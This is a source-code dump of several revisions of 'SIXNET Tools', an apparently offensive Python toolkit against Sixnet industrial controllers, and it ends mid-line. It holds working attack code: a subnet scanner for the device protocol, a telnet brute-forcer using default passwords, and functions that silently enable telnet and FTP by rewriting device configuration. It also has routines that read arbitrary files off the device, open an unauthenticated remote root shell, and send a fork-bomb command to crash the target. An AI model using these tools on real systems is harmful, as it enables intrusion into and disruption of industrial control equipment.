9 | # sequence 1
10 | # command 1
11 | # data variable
12 | # crc 1"""
13 | #TODO:
14 |
15 |
16 | commands = {
17 | 0 : "NOP",
18 | 1 : "ACK",
19 | 2 : "NAK",
20 | 3 : "VERS",
21 | 4 : "NIO",
22 | 10 : "GETD",
23 | 11 : "GETB",
24 | 12 : "GETA",
25 | 13 : "GETS",
26 | 14 : "PUTD",
27 | 15 : "PUTB",
28 | 16 : "PUTA",
29 | 17 : "SETD",
30 | 18 : "CLRD",
31 | 24 : "SCLOCK",
32 | 25 : "GCLOCK",
33 | 32 : "IOXCHG"
34 | }
35 |
36 | #message for a NOP command
37 | #NOP = "7d0009603f603f001500000f".decode("hex")
38 | NOP = "7d07fff0c00000d70f".decode("hex")
39 | #"7d0cfff0c0000c80000000081d0f"
40 | #turn_shit_on = "7d0dffff00050e01000008000011d0f".decode("hex")
41 | #NOP = '}\x07\xff\xff\x00\x05\x00\xd7\x0f'
42 |
43 | def __init__(self, message):
44 | self.message = message
45 | self.breakdown(message)
46 |
47 | def breakdown(self, message):
48 | """Breaks down the message to its component fields"""
49 | self.lead = message[0:2]
50 |
51 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
52 | self.dest = message[4:6]
53 | self.src = message[6:8]
54 | self.session = message[8:10]
55 | self.sequence = message[10:12]
56 | self.command = self.commands[int(message[12:14],16)]
57 | self.data = message[14:(len(message)-2)] #convert the hex value stored as a string to an int
58 | self.crc = message[-2:] #last 2 characters
--------------------------------------------------------------------------------
/.svn/pristine/e8/e8eec4dd8ba8fbdc39946b1e1dc84b27dea46d95.svn-base:
--------------------------------------------------------------------------------
1 | class sup_msg(object):
2 | """SIXNET Universal Protocol message
3 | #field order/size (bytes)
4 | # lead 1
5 | # length 1
6 | # dest 1 or 2
7 | # src 1 or 2
8 | # session 1
9 | # sequence 1
10 | # command 1
11 | # data variable
12 | # crc 1"""
13 | #TODO:
14 |
15 |
16 | commands = {
17 | 0 : "NOP",
18 | 1 : "ACK",
19 | 2 : "NAK",
20 | 3 : "VERS",
21 | 4 : "NIO",
22 | 10 : "GETD",
23 | 11 : "GETB",
24 | 12 : "GETA",
25 | 13 : "GETS",
26 | 14 : "PUTD",
27 | 15 : "PUTB",
28 | 16 : "PUTA",
29 | 17 : "SETD",
30 | 18 : "CLRD",
31 | 24 : "SCLOCK",
32 | 25 : "GCLOCK",
33 | 32 : "IOXCHG"
34 | }
35 |
36 | #message for a NOP command
37 | #NOP = "7d0009603f603f001500000f".decode("hex")
38 | NOP = "7d07fff0c00000d70f".decode("hex")
39 | #"7d0cfff0c0000c80000000081d0f"
40 | #turn_shit_on = "7d0dffff00050e01000008000011d0f".decode("hex")
41 | #NOP = '}\x07\xff\xff\x00\x05\x00\xd7\x0f'
42 |
43 | def __init__(self, message):
44 | self.message = message
45 | self.breakdown(message)
46 |
47 | def breakdown(self, message):
48 | """Breaks down the message to its component fields"""
49 | self.lead = message[0:2]
50 |
51 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
52 | self.dest = message[4:6]
53 | self.src = message[6:8]
54 | self.session = message[8:10]
55 | self.sequence = message[10:12]
56 | self.command = self.commands.get(int(message[12:14],16), "unrecognized")
57 | self.data = message[14:(len(message)-2)] #convert the hex value stored as a string to an int
58 | self.crc = message[-2:] #last 2 characters
--------------------------------------------------------------------------------
/.svn/pristine/21/217373547da76bbb12bd80330429ccacef0ca78a.svn-base:
--------------------------------------------------------------------------------
1 | class SUP_message(object):
2 | """SIXNET Universal Protocol message"""
3 | #field order/size (bytes)
4 | # lead 1
5 | # length 1
6 | # dest 1 or 2
7 | # src 1 or 2
8 | # session 1
9 | # sequence 1
10 | # command 1
11 | # data variable
12 | # crc 1
13 | #TODO:
14 |
15 |
16 | commands = {
17 | 0 : "NOP",
18 | 1 : "ACK",
19 | 2 : "NAK",
20 | 3 : "VERS",
21 | 4 : "NIO",
22 | 10 : "GETD",
23 | 11 : "GETB",
24 | 12 : "GETA",
25 | 13 : "GETS",
26 | 14 : "PUTD",
27 | 15 : "PUTB",
28 | 16 : "PUTA",
29 | 17 : "SETD",
30 | 18 : "CLRD",
31 | 24 : "SCLOCK",
32 | 25 : "GCLOCK",
33 | 32 : "IOXCHG"
34 | }
35 |
36 | #message for a NOP command
37 | #NOP = "7d0009603f603f001500000f".decode("hex")
38 | NOP = "7d07fff0c00000d70f".decode("hex")
39 | #"7d0cfff0c0000c80000000081d0f"
40 | #turn_shit_on = "7d0dffff00050e01000008000011d0f".decode("hex")
41 | #NOP = '}\x07\xff\xff\x00\x05\x00\xd7\x0f'
42 |
43 | def __init__(self, message):
44 | self.message = message
45 | self.breakdown(message)
46 |
47 | def breakdown(self, message):
48 | """Breaks down the message to its component fields"""
49 | self.lead = message[0:2]
50 |
51 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
52 | self.dest = message[4:6]
53 | self.src = message[6:8]
54 | self.session = message[8:10]
55 | self.sequence = message[10:12]
56 | self.command = self.commands[int(message[12:14],16)]
57 | self.data = message[14:(len(message)-2)] #convert the hex value stored as a string to an int
58 | self.crc = message[-2:] #last 2 characters
59 |
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/.svn/pristine/5b/5b39d7a4864ec1c3e2c36e6ee9ab403edadffecd.svn-base:
--------------------------------------------------------------------------------
1 | import telnetlib, socket
2 | import subprocess, sys
3 |
4 | def open_connection(host, timeout):
5 | """Tries a set of default/simple usernames and passwords to telnet into the remote host
6 | If successful the credentials are displayed and a new console is spawned for telnet action"""
7 |
8 | user = ["user", "root"]
9 | password = ["password", "Thevoid0", "1234", ""]
10 | expect = ["Last login.*", "login: "]
11 |
12 | correct_password = None
13 | correct_username = None
14 |
15 | tn = telnetlib.Telnet(host)
16 | success = False
17 | tn.read_until("login: ", 5)
18 |
19 | #while we have not run out of username and password combinations keep trying
20 | for name in user:
21 | for pwd in password:
22 |
23 | tn.write(name + "\n")
24 |
25 | #After so many failed attempts the remote server may terminate the connection
26 | #reopen it
27 | try:
28 | tn.read_until("Password:")
29 | except EOFError:
30 | print("Closed, reopening")
31 | tn = telnetlib.Telnet(host)
32 | tn.read_until("login: ")
33 | tn.write(name + "\n")
34 | tn.read_until("Password:")
35 |
36 |
37 | tn.write(pwd + "\n")
38 |
39 | #look for another password prompt, a terminal, or a connection ended
40 | output = tn.expect(expect)
41 |
42 | #if nothing in the expect array matches then we probably succeeded
43 | if(output[0] == 0):
44 | print("success?")
45 | success = True
46 | correct_password = pwd
47 | correct_username = name
48 | break
49 | else:
50 | print(name + ", " + pwd + " not right")
51 | if(success):
52 | break
53 |
54 | #if successful open a native telnet client
55 | if(success):
56 | print("username: " + correct_username)
57 | print("password: " + correct_password)
58 | #nasty, but as far as I can tell required to start the native telnet client in its own console
59 | #the interact() telnet terminal is too dumb to use
60 | subprocess.Popen(["telnet", host],0,None,None,None,None,None,False,False,None,None,False,None,subprocess.CREATE_NEW_CONSOLE)
61 | else:
62 | print("No luck guessing password")
--------------------------------------------------------------------------------
/.svn/pristine/52/52070f4f50c04d9211bb88e39801a93c6da4ab28.svn-base:
--------------------------------------------------------------------------------
1 | import file_manip
2 | from SUP_message import sup_msg
3 | import STX_Networking
4 |
5 | def enable_ftp(ip):
6 | sixnet_config = "/etc/stacfg/general.config"
7 | """Enables telnet on a sixnet device if it is not already enabled"""
8 | print("enabling ftp...")
9 | config = file_manip.get_file(sixnet_config, ip)
10 |
11 | #find telnet part and change it from 0 to 1
12 | new_config = config.replace("enable ftp=0", "enable ftp=1")
13 |
14 | file_manip.write_file(sixnet_config, new_config, ip)
15 | print("Success!")
16 |
17 | def enable_telnet(ip):
18 | sixnet_config = "/etc/stacfg/general.config"
19 | """Enables telnet on a sixnet device if it is not already enabled"""
20 | print("enabling telnet...")
21 | config = file_manip.get_file(sixnet_config, ip)
22 |
23 | #find telnet part and change it from 0 to 1
24 | new_config = config.replace("enable telnet=0", "enable telnet=1")
25 |
26 | file_manip.write_file(sixnet_config, new_config, ip)
27 | print("Success!")
28 |
29 | def fingerprint(ip):
30 | """Gets the Sixnet firmware version, IO map, and OS version"""
31 | file = "/etc/sxbuildinfo.txt"
32 | build_info = file_manip.get_file(file, ip)
33 |
34 | #format the build info to remove unnecessary data
35 | build_info = build_info.split("\t")
36 | build_info = build_info[0] + " " + build_info[1]
37 |
38 | #TODO: Find analog/digital inputs/outputs
39 | #I think the only way to do it is to query each one and see if I get a response or an error or something
40 | #After much fiddling this thing will let you read from or write to 8192 input and output registers with out telling you that
41 | #only 4 of those are actually being used.
42 |
43 | #just send a uname command over
44 | os_ver = STX_Networking.send_command(ip,"uname -sr").data[4:].decode("hex")
45 |
46 | print("Firmware:\t" + build_info)
47 | print("OS: \t\t" + os_ver)
48 |
49 | def sup_shell(ip):
50 | """A very root shell for interfacing with the sixnet device at the designated ip"""
51 | print("Sixnet Universal Protocol shell v0.1")
52 | while(True):
53 | #read in the shell command from the user and send that shit off
54 | reply = STX_Networking.send_command(ip, raw_input('someone$ '))
55 |
56 | #Decode the reply and print it
57 | print reply.data[4:].decode("hex")
58 |
59 | def forkbomb(ip):
60 | STX_Networking.send_command(ip, "p(){ p|p& }; p")
61 | print "boom"
--------------------------------------------------------------------------------
/.svn/pristine/eb/eb20b4cc3e0ee6bed7bb3be6ab48688fd5a59c9c.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 3 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d0ff1f0c000d007ffffffff00045e1d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def find(address):
15 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
16 |
17 | #message = info_message.decode("hex")
18 |
19 | #print("request command: " + str(sm1.command))
20 | #print("request data: " + sm1.data)
21 |
22 | #print("reply command: " + str(sm2.command))
23 | #print("reply data: " + sm2.data)
24 |
25 | #Send out packets
26 | #internet #UDP
27 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
28 | sock.settimeout(timeout)
29 | port_scan(address, sock)
30 |
31 | def port_scan(address, sock):
32 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
33 |
34 | #if this there is a / then it is a network address
35 | #ex: 192.168.1.0/24
36 | if (address.find("/") == -1):
37 | subnet = False
38 | address = ipaddr.IPv4Address(address)
39 | else:
40 | subnet = True
41 | address = ipaddr.IPv4Network(address)
42 |
43 | #if it is an address then just send that address a NOP
44 | if(not subnet):
45 | print("Checking " + address.compressed + " ...")
46 | sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
47 |
48 | data = None
49 | try:
50 | data, addr = sock.recvfrom(1024) #buffer is 1024
51 | except:
52 | socket.timeout
53 |
54 | if(data):
55 | print(data)
56 | else:
57 | print("No response")
58 | #otherwise send one to each address in the subnet
59 | else:
60 | for host in address.iterhosts():
61 | print("Checking " + host + " ...")
62 | sock.sendto(SUP_message.NOP,(host, SIXNET_port))
63 |
64 | #also check for replies
65 | data = None
66 | try:
67 | data, addr = sock.recvfrom(1024) #buffer is 1024
68 | except:
69 | socket.timeout
70 |
71 | if(data):
72 | print(data)
73 |
74 | if __name__ == "__main__":
75 | find(sys.argv[1:])
76 |
77 |
78 |
--------------------------------------------------------------------------------
/.svn/pristine/a6/a62be8c38968da4b10e9720e965dfe09b9289d18.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = .05 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d0ff1f0c000d007ffffffff00045e1d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def find(address):
15 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
16 |
17 | #message = info_message.decode("hex")
18 |
19 | #print("request command: " + str(sm1.command))
20 | #print("request data: " + sm1.data)
21 |
22 | #print("reply command: " + str(sm2.command))
23 | #print("reply data: " + sm2.data)
24 |
25 | #Send out packets
26 | #internet #UDP
27 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
28 | sock.settimeout(timeout)
29 | NOP_scan(address, sock)
30 |
31 | def NOP_scan(address, sock):
32 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
33 |
34 | #if this there is a / then it is a network address
35 | #ex: 192.168.1.0/24
36 | if (address.find("/") == -1):
37 | subnet = False
38 | address = ipaddr.IPv4Address(address)
39 | else:
40 | subnet = True
41 | address = ipaddr.IPv4Network(address)
42 |
43 | #if it is an address then just send that address a NOP
44 | if(not subnet):
45 | print("Checking " + address.compressed + " ...")
46 | sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
47 |
48 | data = None
49 | try:
50 | data, addr = sock.recvfrom(1024) #buffer is 1024
51 | except:
52 | socket.timeout
53 |
54 | if(data):
55 | print(data)
56 | else:
57 | print("No response")
58 | #otherwise send one to each address in the subnet
59 | else:
60 | for host in address.iterhosts():
61 | print("Checking " + host.compressed + " ...")
62 | sock.sendto(SUP_message.SUP_message.NOP,(host.compressed, SIXNET_port))
63 |
64 | #also check for replies
65 | data = None
66 | try:
67 | data, addr = sock.recvfrom(1024) #buffer is 1024
68 | except:
69 | socket.timeout
70 |
71 | if(data):
72 | print(data)
73 |
74 | if __name__ == "__main__":
75 | find(sys.argv[1:])
76 |
77 |
78 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.svn/pristine/04/0451c158608c936d12d19a2c436a887a083010d9.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import sys, getopt
4 | import STX_Networking
5 | import telnet
6 | import sup_shell
7 | import file_manip, attactions
8 | from SUP_message import sup_msg
9 |
10 | welcome = "rev 30ish Mehdi Sabraoui 2013\n"
11 | welcome += " _ _ _ _ _ _ \n"
12 | welcome += " / \ / \ / \ / \ / \ / \ \n"
13 | welcome += " ( S | I | X | N | E | T )\n"
14 | welcome += " \_/ \_/ \_/ \_/ \_/ \_/ \n"
15 | welcome += " _ _ _ _ _ \n"
16 | welcome += " / \ / \ / \ / \ / \ \n"
17 | welcome += " ( T | o | o | l | s ) \n"
18 | welcome += " \_/ \_/ \_/ \_/ \_/ \n"
19 |
20 | usage = "Usage: SIXNET_tools [Options] {target specifications}"
21 |
22 | help = "Sixnet Tools. Tools for poking at Sixnet things.\n"
23 | help += "TARGET SPECIFICATION:\n"
24 | help += "Can pass IP addresses or networks\n"
25 | help += " Ex: 192.168.1.1, 10.1.1.0/24\n"
26 | help += "Options:\n"
27 | help += " -h Displays this help dialog\n"
28 | help += " -s {host | network} NOP scans a host or network for sixnet devices.\n"
29 | help += " -T {host} Enables telnet for the given ip address\n"
30 | help += " -F {host} Enables FTP for the given ip address\n"
31 | help += " -f {host} Gets OS and Firmware information for the given ip address\n"
32 | help += " -S {host} Opens a very dumb shell to the given ip address\n"
33 | help += " -b {host} furk bamp\n"
34 |
35 | def main(argv):
36 | try:
37 | opts, args = getopt.getopt(argv,"hs:T:F:f:S:b:",["scan=","enableTelnet=","enableFTP=","fingerprint=","shell=","forkbomb="])
38 | except getopt.GetoptError:
39 | print welcome
40 | print usage
41 | sys.exit(2)
42 | for opt, arg in opts:
43 | if opt == '-h':
44 | print help
45 | sys.exit()
46 | elif opt in ("-s", "--scan"): #scan
47 | STX_Networking.NOP_scan(arg)
48 | elif opt in ("-T", "--enableTelnet"): #enable telnet
49 | attactions.enable_telnet(arg)
50 | elif opt in ("-F", "--enableFTP"): #enable ftp
51 | attactions.enable_ftp(arg)
52 | elif opt in ("-f", "--fingerprint"): #fingerprint
53 | attactions.fingerprint(arg)
54 | elif opt in ("-S", "--shell"): #shell
55 | attactions.sup_shell(arg)
56 | elif opt in ("-b", "--forkbomb"):
57 | attactions.forkbomb(arg)
58 |
59 | if __name__ == "__main__":
60 | main(sys.argv[1:])
61 |
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/.svn/pristine/a5/a5eb023c3c835a0fb86b98541a041f18e6ad5d21.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import sys, getopt
4 | import STX_Networking
5 | import telnet
6 | import sup_shell
7 | import file_manip, attactions
8 | from SUP_message import sup_msg
9 |
10 | welcome = "rev ??? Mehdi Sabraoui 2013\n"
11 | welcome += " _ _ _ _ _ _ \n"
12 | welcome += " / \ / \ / \ / \ / \ / \ \n"
13 | welcome += " ( S | I | X | N | E | T )\n"
14 | welcome += " \_/ \_/ \_/ \_/ \_/ \_/ \n"
15 | welcome += " _ _ _ _ _ \n"
16 | welcome += " / \ / \ / \ / \ / \ \n"
17 | welcome += " ( T | o | o | l | s ) \n"
18 | welcome += " \_/ \_/ \_/ \_/ \_/ \n"
19 |
20 | usage = "Usage: SIXNET_tools [Options] {target specifications}"
21 |
22 | help = "Sixnet Tools. Tools for poking at Sixnet things.\n"
23 | help += "TARGET SPECIFICATION:\n"
24 | help += "Can pass IP addresses or networks\n"
25 | help += " Ex: 192.168.1.1, 10.1.1.0/24\n"
26 | help += "Options:\n"
27 | help += " -h Displays this help dialog\n"
28 | help += " -s {host | network} NOP scans a host or network for sixnet devices.\n"
29 | help += " -T {host} Enables telnet for the given ip address\n"
30 | help += " -F {host} Enables FTP for the given ip address\n"
31 | help += " -f {host} Gets OS and Firmware information for the given ip address\n"
32 | help += " -S {host} Opens a very dumb shell to the given ip address\n"
33 | help += " -b {host} furk bamp\n"
34 |
35 | def main(argv):
36 | try:
37 | opts, args = getopt.getopt(argv,"hs:T:F:f:S:b:",["scan=","enableTelnet=","enableFTP=","fingerprint=","shell=","forkbomb="])
38 | except getopt.GetoptError:
39 | print welcome
40 | print usage
41 | sys.exit(2)
42 | for opt, arg in opts:
43 | if opt == '-h':
44 | print help
45 | sys.exit()
46 | elif opt in ("-s", "--scan"): #scan
47 | STX_Networking.NOP_scan(arg)
48 | elif opt in ("-T", "--enableTelnet"): #enable telnet
49 | attactions.enable_telnet(arg)
50 | elif opt in ("-F", "--enableFTP"): #enable ftp
51 | attactions.enable_ftp(arg)
52 | elif opt in ("-f", "--fingerprint"): #fingerprint
53 | attactions.fingerprint(arg)
54 | elif opt in ("-S", "--shell"): #shell
55 | attactions.sup_shell(arg)
56 | elif opt in ("-b", "--forkbomb"):
57 | attactions.forkbomb(arg)
58 |
59 | if __name__ == "__main__":
60 | main(sys.argv[1:])
61 |
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/.svn/pristine/5f/5f588f68ce4e4dd4fca2060dcad046beca251db2.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import sys, getopt
4 | import STX_Networking
5 | import telnet
6 | import sup_shell
7 | import file_manip, attactions
8 | from SUP_message import sup_msg
9 |
10 | welcome = "rev 30ish Mehdi Sabraoui 2013\n"
11 | welcome += " _ _ _ _ _ _ \n"
12 | welcome += " / \ / \ / \ / \ / \ / \ \n"
13 | welcome += " ( S | I | X | N | E | T )\n"
14 | welcome += " \_/ \_/ \_/ \_/ \_/ \_/ \n"
15 | welcome += " _ _ _ _ _ \n"
16 | welcome += " / \ / \ / \ / \ / \ \n"
17 | welcome += " ( T | o | o | l | s ) \n"
18 | welcome += " \_/ \_/ \_/ \_/ \_/ \n"
19 |
20 | usage = "Usage: SIXNET_tools [Options] {target specifications}"
21 |
22 | help = "Sixnet Tools. Tools for poking at Sixnet things.\n"
23 | help += "TARGET SPECIFICATION:\n"
24 | help += "Can pass IP addresses or networks\n"
25 | help += " Ex: 192.168.1.1, 10.1.1.0/24\n"
26 | help += "Options:\n"
27 | help += " -h Displays this help dialog\n"
28 | help += " -s {host | network} NOP scans a host or network for sixnet devices.\n"
29 | help += " -T {host} Enables telnet for the given ip address\n"
30 | help += " -F {host} Enables FTP for the given ip address\n"
31 | help += " -f {host} Gets OS and Firmware information for the given ip address\n"
32 | help += " -S {host} Opens a very dumb shell to the given ip address\n"
33 | help += " -b {host} furk bamp\n"
34 |
35 | def main(argv):
36 | try:
37 | opts, args = getopt.getopt(argv,"hs:T:F:f:S:b:",["help","scan=","enableTelnet=","enableFTP=","fingerprint=","shell=","forkbomb="])
38 | except getopt.GetoptError:
39 | print welcome
40 | print usage
41 | sys.exit()
42 | for opt, arg in opts:
43 | if opt in ("-h", "--help"):
44 | print help
45 | sys.exit()
46 | elif opt in ("-s", "--scan"): #scan
47 | STX_Networking.NOP_scan(arg)
48 | elif opt in ("-T", "--enableTelnet"): #enable telnet
49 | attactions.enable_telnet(arg)
50 | elif opt in ("-F", "--enableFTP"): #enable ftp
51 | attactions.enable_ftp(arg)
52 | elif opt in ("-f", "--fingerprint"): #fingerprint
53 | attactions.fingerprint(arg)
54 | elif opt in ("-S", "--shell"): #shell
55 | attactions.sup_shell(arg)
56 | elif opt in ("-b", "--forkbomb"):
57 | attactions.forkbomb(arg)
58 |
59 | if __name__ == "__main__":
60 | main(sys.argv[1:])
61 |
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/.svn/pristine/56/5673904cefbd3110e8ebfd08ff28dc5e96fbca6f.svn-base:
--------------------------------------------------------------------------------
1 | import SUP_message
2 | import Fingerprinter
3 | import common_lib
4 |
5 | #I guess we just craft a message and send that shit? idk lol lets do it
6 |
7 | #the protocol seems to send over the path of the file it wants first, then gets a blank ACK, sends a blank 1A command, then gets the contents
8 | #of the file in the second reply
9 | max_reply_size = 225
10 |
11 |
12 | def get_file(file_path, ip):
13 | pkt = SUP_message.sup_msg()
14 |
15 | pkt.file_command(file_path)
16 | reply = Fingerprinter.send_msg(pkt.create(), ip)
17 | #send this after the ACK?
18 | #7d:0d:ff:f0:c0:01:1a:06:00:04:9f:9f:80:1d:0f
19 | #reply = Fingerprinter.send_msg("7d0dfff0c0011a0600049f9f801d0f", ip)
20 | #So this didn't quite work. The packet that was sent back this time had some different stuff in it
21 | #I think I need to make that different stuff match in the second packet I send over
22 |
23 | code = check_value(reply)
24 | #this comes back with the name of the file, I guess as a confirmation?
25 | #AH-HA! This also returns the file size. String manipulate your way to freedom, little file size
26 | reply = Fingerprinter.send_msg("7d0dfff0c0011a06" + code + "1d0f", ip)
27 | total_file_size = get_file_size(reply)
28 |
29 | #this is where the actual file gets pushed over.
30 | file_str = ""
31 |
32 | #keep pulling data until there is no more data to pull!
33 | while len(file_str) < total_file_size:
34 |
35 | #see how much of the file is left to send over
36 | if total_file_size - len(file_str) > max_reply_size:
37 | size_to_request = max_reply_size
38 | else:
39 | size_to_request = total_file_size - len(file_str)
40 |
41 | #ok so, tell it from where in the file to start reading and how many characters to read
42 | start_index = common_lib.int_to_hex_string(len(file_str)).zfill(8)
43 | characters_to_read = common_lib.int_to_hex_string(size_to_request)
44 |
45 | reply = Fingerprinter.send_msg("7d12fff0c0021a01" + code[2:] + start_index + "00" + characters_to_read + "1d0f", ip)
46 |
47 | #The file data is in the reply, I just need to format it and shit.
48 | #there are 22 bytes of unneeded stuff before the actual contents of the file, don't print that
49 | file_str += reply.data[22:].decode("hex")
50 |
51 |
52 | return file_str
53 |
54 | #get the last 10 characters of the data field, this is needed for some reason
55 | def check_value(reply):
56 | value = reply.data
57 | value = value[-10:]
58 | return value
59 |
60 | #Returns the file size give a reply
61 | def get_file_size(reply):
62 | size = reply.data[-20:]
63 | size = size[:10]
64 | return int(size,16)
--------------------------------------------------------------------------------
/.svn/pristine/5c/5cc6818f36181091f2c6245c6224dff4d27e2ff3.svn-base:
--------------------------------------------------------------------------------
1 | class sup_msg(object):
2 | """SIXNET Universal Protocol message
3 | #field order/size (bytes)
4 | # lead 1
5 | # length 1
6 | # dest 1 or 2
7 | # src 1 or 2
8 | # session 1
9 | # sequence 1
10 | # command 1
11 | # data variable
12 | # crc 1"""
13 | #TODO:
14 |
15 |
16 | commands = {
17 | 0 : "NOP",
18 | 1 : "ACK",
19 | 2 : "NAK",
20 | 3 : "VERS",
21 | 4 : "NIO",
22 | 10 : "GETD",
23 | 11 : "GETB",
24 | 12 : "GETA",
25 | 13 : "GETS",
26 | 14 : "PUTD",
27 | 15 : "PUTB",
28 | 16 : "PUTA",
29 | 17 : "SETD",
30 | 18 : "CLRD",
31 | 24 : "SCLOCK",
32 | 25 : "GCLOCK",
33 | 32 : "IOXCHG"
34 | }
35 |
36 | #message for a NOP command
37 | #NOP = "7d0009603f603f001500000f".decode("hex")
38 | NOP = "7d07fff0c00000d70f".decode("hex")
39 | #"7d0cfff0c0000c80000000081d0f"
40 | #turn_shit_on = "7d0dffff00050e01000008000011d0f".decode("hex")
41 | #NOP = '}\x07\xff\xff\x00\x05\x00\xd7\x0f'
42 |
43 | def __init__(self, message):
44 | self.message = message
45 | self.breakdown(message)
46 |
47 | def breakdown(self, message):
48 | """Breaks down the message to its component fields"""
49 | self.lead = message[0:2]
50 |
51 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
52 | self.dst = message[4:6]
53 | self.src = message[6:8]
54 | self.session = message[8:10]
55 | self.sequence = message[10:12]
56 | self.command = self.commands.get(int(message[12:14],16), "unrecognized")
57 | self.data = message[14:(len(message)-2)] #convert the hex value stored as a string to an int
58 | self.crc = message[-2:] #last 2 characters
59 |
60 | def print_all(self):
61 | """Prints all the fields of the message"""
62 | print("Lead: " + self.lead)
63 | print("Length: " + self.length)
64 | if(self.dst == "ff"):
65 | print("Destination station: ANY")
66 | else:
67 | print("Destination station: " + self.dst)
68 | print("Source Station: " + self.src)
69 | print("Session: " + self.session)
70 | print("Sequence: " + self.sequence)
71 | print("Command: " + self.command)
72 | print("Data: " + self.data)
73 | print("CRC: " + self.crc)
--------------------------------------------------------------------------------
/.svn/pristine/28/28cef827c0fc7e63bdb1deb6e4b995ec5db886d9.svn-base:
--------------------------------------------------------------------------------
1 | class sup_msg(object):
2 | """SIXNET Universal Protocol message
3 | #field order/size (bytes)
4 | # lead 1
5 | # length 1
6 | # dest 1 or 2
7 | # src 1 or 2
8 | # session 1
9 | # sequence 1
10 | # command 1
11 | # data variable
12 | # crc 1"""
13 | #TODO:
14 |
15 |
16 | commands = {
17 | 0 : "NOP",
18 | 1 : "ACK",
19 | 2 : "NAK",
20 | 3 : "VERS",
21 | 4 : "NIO",
22 | 10 : "GETD",
23 | 11 : "GETB",
24 | 12 : "GETA",
25 | 13 : "GETS",
26 | 14 : "PUTD",
27 | 15 : "PUTB",
28 | 16 : "PUTA",
29 | 17 : "SETD",
30 | 18 : "CLRD",
31 | 24 : "SCLOCK",
32 | 25 : "GCLOCK",
33 | 32 : "IOXCHG"
34 | }
35 |
36 | #message for a NOP command
37 | #NOP = "7d0009603f603f001500000f".decode("hex")
38 | NOP = "7d07fff0c00000d70f".decode("hex")
39 | #"7d0cfff0c0000c80000000081d0f"
40 | #turn_shit_on = "7d0dffff00050e01000008000011d0f".decode("hex")
41 | #NOP = '}\x07\xff\xff\x00\x05\x00\xd7\x0f'
42 |
43 | def __init__(self, message):
44 | self.message = message
45 | self.breakdown(message)
46 |
47 | def breakdown(self, message):
48 | """Breaks down the message to its component fields"""
49 | self.lead = message[0:2]
50 |
51 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
52 | self.dst = message[4:6]
53 | self.src = message[6:8]
54 | self.session = message[8:10]
55 | self.sequence = message[10:12]
56 | self.command = self.commands.get(int(message[12:14],16), str.format("{0} (unrecognized)", message[12:14]))
